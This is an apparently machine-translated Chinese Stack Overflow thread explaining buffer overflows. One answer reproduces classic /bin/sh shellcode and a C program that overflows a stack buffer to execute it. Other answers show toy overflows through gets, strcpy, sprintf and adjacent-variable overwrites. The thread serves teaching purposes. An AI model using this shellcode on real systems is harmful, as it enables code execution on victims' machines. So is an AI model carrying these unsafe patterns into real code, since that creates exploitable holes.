你能举个缓冲区溢出的例子吗?

时间:2009-08-20 15:07:03

标签: c++ c security buffer-overflow

我听说过缓冲区溢出很多,并且相信我理解了这个问题,但我仍然没有看到一个说法的例子

char buffer[16];

//code that will over write that buffer and launch notepad.exe

9 个答案:

答案 0 :(得分:14)

“粉碎堆栈以获得乐趣和利润”是关于该主题的最佳方式/常见问题解答。

请参阅:http://insecure.org/stf/smashstack.html

以下是一些实际shellcode的剪辑:

    char shellcode[] =
            "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
            "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/bin/sh";

    char large_string[128];

    void main() {
      char buffer[96];
      int i;
      long *long_ptr = (long *) large_string;

      for (i = 0; i < 32; i++)
        *(long_ptr + i) = (int) buffer;

      for (i = 0; i < strlen(shellcode); i++)
        large_string[i] = shellcode[i];

      strcpy(buffer,large_string);
}

答案 1 :(得分:5)

有两件事:

  1. 溢出缓冲区的代码很容易做到,很可能以分段错误结束。这是显示的内容:sprintf(缓冲区,“01234567890123456789”);

  2. 将操作系统执行的覆盖内存代码置于其中的方法。这比仅仅溢出缓冲区更难,并且与程序的执行方式有关。它们通常从堆栈中获取下一条指令来执行,如果你设法通过覆盖内存来放入堆栈的下一个值而不会造成执行指针损坏(或任何其他类型的损坏),你可以创建一个漏洞利用。通常通过将下一个要读取的堆栈中的跳转指令放入包含代码的内存区域来完成。这就是为什么将内存部分标记为不可执行文件可以帮助抵御这些攻击。

答案 2 :(得分:5)

首先,您需要一个可以启动其他程序的程序。以某种形式或其他形式执行操作系统exec的程序。这是高度操作系统和语言特定的。

其次,启动其他程序的程序必须从一些外部源读取到缓冲区。

第三,然后必须检查正在运行的程序 - 由编译器在内存中布置 - 以查看输入缓冲区和用于步骤1(启动其他程序)的其他变量是如何存在的。

第四,你必须编写一个实际超出缓冲区并设置其他变量的输入。

因此。第1部分和第2部分是一个在C中看起来像这样的程序。

#include <someOSstuff>
char buffer[16];
char *program_to_run= "something.exe";
void main( char *args[] ) {
    gets( buffer );
    exec( program_to_run );
}

第3部分需要分析bufferprogram_to_run的外观,但你会发现它可能只是

 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 \x00 s o m e t h i n g . e x e \x00

第4部分,您的输入必须是

1234567890123456notepad.exe\x00

因此它将填充buffer并覆盖program_to_run

答案 3 :(得分:3)

好吧,我不知道如何启动notpad.exe,但要覆盖此缓冲区只需执行:

sprintf(buffer, "somestringlongerthan16");

答案 4 :(得分:3)

int x[10];

x[11] = 1;

答案 5 :(得分:2)

缓冲区溢出可以用来使代码执行非预期的操作,方法是在分配的缓冲区外写入​​数据,覆盖其他内容。

覆盖的数据通常是另一个函数中的代码,但一个简单的例子是覆盖缓冲区旁边的变量:

char buffer[16];
string myapp = "appmine.exe";

void execMe(string s) {
   for (int i = 0; i < s.Length; i++) buffer[i] = s[i];
   Sys.Execute(myapp, buffer);
}

如果调用的函数的数据多于缓冲区可容纳的数据,则会覆盖文件名:

execMe("0123456789012345notepad");

答案 6 :(得分:1)

gets(buffer);

没有办法正确使用获取,因为它没有要求缓冲区的大小。

scanf("%s", buffer);

Scanf将读取字符串输入,直到它到达空格,用户键入超过16个字符将有缓冲区溢出。

答案 7 :(得分:1)

Phrack的Smashing The Stack For Fun And Profit有足够的解释让你能够做你所要求的。

答案 8 :(得分:1)

有关简单示例,请参阅此处:

防范某些缓冲区溢出攻击:示例攻击

http://www.greenend.org.uk/rjk/random-stack.html